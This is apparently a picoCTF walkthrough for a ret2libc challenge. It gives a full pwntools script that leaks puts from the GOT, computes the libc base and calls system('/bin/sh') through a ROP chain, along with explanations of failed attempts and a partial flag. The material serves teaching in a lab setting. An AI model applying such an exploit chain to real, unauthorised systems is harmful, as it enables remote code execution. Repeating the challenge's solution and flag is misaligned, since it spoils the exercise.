Description
I'll give you a LIBC, can you pwn it? Use the provided libc to build a ret2libc exploit and get a shell.
Setup
Download the binary and the provided libc file.
wget <url>/vulnwget <url>/libc.so.6chmod +x vulnchecksec vulnSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Check mitigations and understand the vulnerability
ObservationThe challenge ships a specific libc.so.6 alongside the binary and asks for a ret2libc exploit. That means ASLR is on, and the provided libc is what supplies exact symbol offsets at runtime.Run checksec on the binary. Confirm ASLR is active (it always is on modern systems), which means you need to leak a libc address before computing the real system() and /bin/sh addresses.bashchecksec vulnbashfile vulnbashldd vulnpythonpython3 -c "from pwn import *; e=ELF('./vuln'); print(e.plt); print(e.got)"Expected output
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
What didn't work first
Tried: Skip the libc recon step and attempt a ret2plt attack using only gadgets from the binary itself (treating it as a no-libc scenario).
Without the runtime libc base, system() and /bin/sh cannot be located at all. A chain that calls puts() but never reads the leak back just prints something and exits. Parse the leaked bytes into libc_base before stage 2 can work.
Tried: Use the system libc (/lib/x86_64-linux-gnu/libc.so.6) instead of the challenge-provided libc.so.6 when computing offsets.
Symbol offsets differ between libc builds. If your local puts() sits at 0x875a0 and the challenge libc has it at 0x80e50, libc_base comes out 0x6750 bytes wrong, system() points into garbage, and the process segfaults. Load the exact supplied libc.so.6 for every offset lookup.
Learn more
When ASLR is active, libc loads at a random base address each run. The key insight is that the offsets between functions within libc are fixed - the distance from
putstosystemis always the same, regardless of where libc is loaded. Once you leak any libc address, you can compute all other addresses.Standard two-stage ret2libc exploit:
- Stage 1 (Leak): Use the PLT (Procedure Linkage Table) to call
puts(got['puts']). This prints the resolved address of puts from the GOT, revealing libc's load address. - Stage 2 (Shell): Compute
system = libc_base + libc.sym['system']andbin_sh = libc_base + next(libc.search(b'/bin/sh')). Callsystem('/bin/sh')to get a shell.
- Stage 1 (Leak): Use the PLT (Procedure Linkage Table) to call
Step 2Build the leak stage
ObservationThe binary is dynamically linked and exposes puts in both PLT and GOT. A ROP chain calling puts on its own GOT entry prints the runtime libc address, then returns to main for a second stage.Construct a ROP chain that calls puts(GOT['puts']) to leak the runtime address of puts, then returns back to main for a second exploitation attempt.pythonpython3 - <<'EOF' from pwn import * e = ELF('./vuln') libc = ELF('./libc.so.6') p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) pop_rdi = next(e.search(asm('pop rdi; ret'))) offset = 0 # from cyclic analysis # Stage 1: Leak puts address payload = b'A' * offset payload += p64(pop_rdi) payload += p64(e.got['puts']) payload += p64(e.plt['puts']) payload += p64(e.sym['main']) # return to main for stage 2 p.sendline(payload) p.recvuntil(b' ') # skip any output before the leak leak = u64(p.recvline().strip().ljust(8, b' ')) log.success(f"puts @ {hex(leak)}") libc_base = leak - libc.sym['puts'] log.success(f"libc base @ {hex(libc_base)}") assert libc_base & 0xfff == 0, "libc base must be page-aligned (ends in 000) - wrong libc or wrong leak" EOFWhat didn't work first
Tried: Try to leak puts via puts(plt['puts']) instead of puts(got['puts']), passing the PLT stub address as the argument.
The PLT stub lives inside the binary at a fixed, un-randomized address, so printing it says nothing about where libc loaded. Pass the GOT entry instead, the slot the dynamic linker filled with the real runtime address, so puts() prints a resolved libc pointer.
Tried: After receiving the leak, parse it with p.recv(6) and u64(leak + b'\x00\x00') without stripping newlines first.
recvline() leaves a newline byte on the end of the leak. ljust to 8 bytes without stripping first and that newline becomes part of the u64 as byte 7, corrupting the address and throwing libc_base off by 0x0a shifted 48 bits, that is 0x000a000000000000. Strip before you pad.
Learn more
The GOT (Global Offset Table) stores the runtime addresses of external library functions after they are resolved by the dynamic linker. The PLT (Procedure Linkage Table) provides stubs that jump through the GOT, with lazy binding filling in the GOT entry on first call.
Stage 1 stack at the moment vuln() returns (each cell is 8 bytes):
rsp -> | pop rdi ; ret | <- ret of vuln() pops this | got['puts'] | pop rdi ; ret -> rdi = &got['puts'] | plt['puts'] | ret jumps here, calls puts(arg = got['puts']) | sym['main'] | puts() returns here -> back to main loopWorked example of the libc base math. Suppose
putsinlibc.so.6is at static offset0x80e50(find withreadelf -sW libc.so.6 | grep -E ' puts(@|$)'orlibc.sym['puts']in pwntools). Suppose the leak prints0x7f3a45680e50. Then:leaked_puts = 0x7f3a45680e50 puts_offset = 0x000000080e50 libc_base = 0x7f3a45680e50 - 0x80e50 = 0x7f3a45600000 <- always page-aligned (lowest 12 bits = 0)The
0x000tail confirms the math: shared libraries are always loaded at page boundaries, so a correctlibc_baseends in three zero hex digits. Anything else means a wrong libc version or a wrong leak parse.Why returning to main works.
mainends with the samegets()read loop that the first overflow exploited. After stage 1 prints the leak and returns tomain, the program presents the prompt again, the script reads the leak from the stage-1 output, computessystemand/bin/shfromlibc_base, and sends a second crafted payload through the same vulnerability.Step 3Build the shell stage
ObservationThe leaked puts address minus its known static offset in the provided libc gives libc_base. From there, system() and the '/bin/sh' string follow, which is everything the final ROP chain needs.In the second stage (after returning to main), compute the real addresses of system() and '/bin/sh' using the libc base, then call system('/bin/sh').python# Continuing from the previous script: python3 - <<'EOF' from pwn import * # ... (previous leak stage) ... system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) ret_gadget = next(e.search(asm('ret'))) # stack alignment # Stage 2: call system('/bin/sh') payload = b'A' * offset payload += p64(ret_gadget) # stack alignment for system() payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(system) p.sendline(payload) p.interactive() EOFWhat didn't work first
Tried: Omit the bare ret gadget for stack alignment and call system('/bin/sh') directly after pop rdi.
glibc's system() contains a movaps instruction that requires rsp to be 16-byte aligned. After the overflow and the pop rdi, the stack sits on an 8-byte boundary instead. Call system() without burning those 8 bytes with a bare ret and the movaps raises SIGSEGV, so no shell appears even though every address is right.
Tried: Search for '/bin/sh' in the binary itself with next(e.search(b'/bin/sh')) rather than in the provided libc.
CTF binaries rarely embed '/bin/sh' themselves. If the search returns nothing, or wraps to address 0, the payload passes a null rdi and system(NULL) either crashes or returns straight away. The string is always present inside libc at a known static offset, so search libc rather than the ELF.
Learn more
Stage 2 chain layout, with concrete addresses. Suppose
libc_base = 0x7f3a45600000,libc.sym['system'] = 0x52290, and the first/bin/sh\0string lives atlibc.searchoffset0x1b3e1a:system = 0x7f3a45600000 + 0x52290 = 0x7f3a45652290 binsh = 0x7f3a45600000 + 0x1b3e1a = 0x7f3a457b3e1a payload = b'A' * 40 # offset to saved RIP + p64(ret_gadget) # 16-byte align rsp + p64(pop_rdi) + p64(0x7f3a457b3e1a) # rdi = "/bin/sh" + p64(0x7f3a45652290) # call systemWhy the bare ret for alignment. When
vuln()executesretthe stack is at...0x8(saved RIP slot). Thepop rdi; retconsumes 16 bytes total (one pop, one ret), keeping alignment. But glibcsystem()internally usesmovaps xmm0, [rsp+...], which faults on a 16-byte misalignment. Inserting a single bareretbefore the call burns 8 bytes and shiftsrspfrom...0x8to...0x0, satisfying the alignment requirement.Local testing with the provided libc.
patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln(or invoke./ld-linux-x86-64.so.2 --library-path . ./vulndirectly) makes the binary load the supplied libc, ensuring offsets you compute locally match those on the challenge server.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{1_<3_sm4sh_st4cking_...}
ret2libc with ASLR requires two stages: first leak a GOT entry to calculate libc base, then call system('/bin/sh') using computed real addresses - the provided libc ensures offset accuracy.